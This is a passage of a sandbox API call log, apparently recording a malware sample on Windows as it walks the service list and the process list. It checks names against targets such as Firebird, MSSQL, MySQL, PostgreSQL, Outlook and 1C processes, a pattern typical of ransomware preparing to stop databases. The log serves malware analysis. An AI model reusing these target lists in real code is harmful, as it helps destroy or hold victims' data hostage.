(lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.628] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.628] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.628] lstrlenW (lpString="CryptSvc") returned 8 [0055.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.628] lstrlenW (lpString="CscService") returned 10 [0055.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.628] lstrlenW (lpString="DcomLaunch") returned 10 [0055.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.629] lstrlenW (lpString="Dhcp") returned 4 [0055.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.629] lstrlenW (lpString="Dnscache") returned 8 [0055.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.629] lstrlenW (lpString="DPS") returned 3 [0055.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.629] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.629] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.629] lstrlenW (lpString="eventlog") returned 8 [0055.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.629] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.629] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.629] lstrlenW (lpString="EventSystem") returned 11 [0055.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.630] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.630] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.630] lstrlenW (lpString="gpsvc") returned 5 [0055.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.630] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.630] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.630] lstrlenW (lpString="iphlpsvc") returned 8 [0055.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.630] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.630] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.630] lstrlenW (lpString="LanmanServer") returned 12 [0055.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.630] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.630] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.630] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.630] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.630] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.630] lstrlenW (lpString="lmhosts") returned 7 [0055.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.630] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.630] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.631] lstrlenW (lpString="MMCSS") returned 5 [0055.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.631] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.631] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.631] lstrlenW (lpString="MpsSvc") returned 6 [0055.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.631] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.631] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.631] lstrlenW (lpString="Netman") returned 6 [0055.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.631] lstrlenW (lpString="netprofm") returned 8 [0055.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.631] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.631] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.631] lstrlenW (lpString="NlaSvc") returned 6 [0055.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.631] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.631] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.631] lstrlenW (lpString="nsi") returned 3 [0055.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.632] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.632] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.632] lstrlenW (lpString="PcaSvc") returned 6 [0055.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.632] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.632] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.632] lstrlenW (lpString="PlugPlay") returned 8 [0055.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.632] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.632] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.632] lstrlenW (lpString="Power") returned 5 [0055.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.632] lstrlenW (lpString="ProfSvc") returned 7 [0055.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.632] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.632] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.632] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.633] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.633] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.633] lstrlenW (lpString="RpcSs") returned 5 [0055.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.633] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.633] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.633] lstrlenW (lpString="SamSs") returned 5 [0055.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.633] lstrlenW (lpString="Schedule") returned 8 [0055.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.633] lstrlenW (lpString="SENS") returned 4 [0055.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.633] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.634] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.634] lstrlenW (lpString="Spooler") returned 7 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.634] lstrlenW (lpString="swprv") returned 5 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.634] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.634] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.634] lstrlenW (lpString="SysMain") returned 7 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.634] lstrlenW (lpString="Themes") returned 6 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.634] lstrlenW (lpString="TrkWks") returned 6 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.635] lstrlenW (lpString="UxSms") returned 5 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.635] lstrlenW (lpString="VSS") returned 3 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.635] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.635] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.635] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.636] lstrlenW (lpString="Winmgmt") returned 7 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.636] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.636] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.636] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.636] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f30020 | out: hHeap=0x790000) returned 1 [0055.636] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d8 [0055.638] Process32FirstW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.638] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.638] lstrlenW (lpString="System") returned 6 [0055.638] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.639] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.639] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.639] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.639] lstrlenW (lpString="smss.exe") returned 8 [0055.639] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.639] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.639] lstrlenW (lpString="csrss.exe") returned 9 [0055.639] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.639] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.639] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.640] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.640] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.640] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.641] lstrlenW (lpString="wininit.exe") returned 11 [0055.641] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.641] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.641] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.642] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.642] lstrlenW (lpString="csrss.exe") returned 9 [0055.642] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.642] lstrlenW (lpString="winlogon.exe") returned 12 [0055.642] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.642] lstrlenW (lpString="services.exe") returned 12 [0055.643] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.643] lstrlenW (lpString="lsass.exe") returned 9 [0055.643] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.643] lstrlenW (lpString="lsm.exe") returned 7 [0055.643] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.643] lstrlenW (lpString="svchost.exe") returned 11 [0055.643] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.644] lstrlenW (lpString="svchost.exe") returned 11 [0055.644] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.644] lstrlenW (lpString="svchost.exe") returned 11 [0055.644] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, 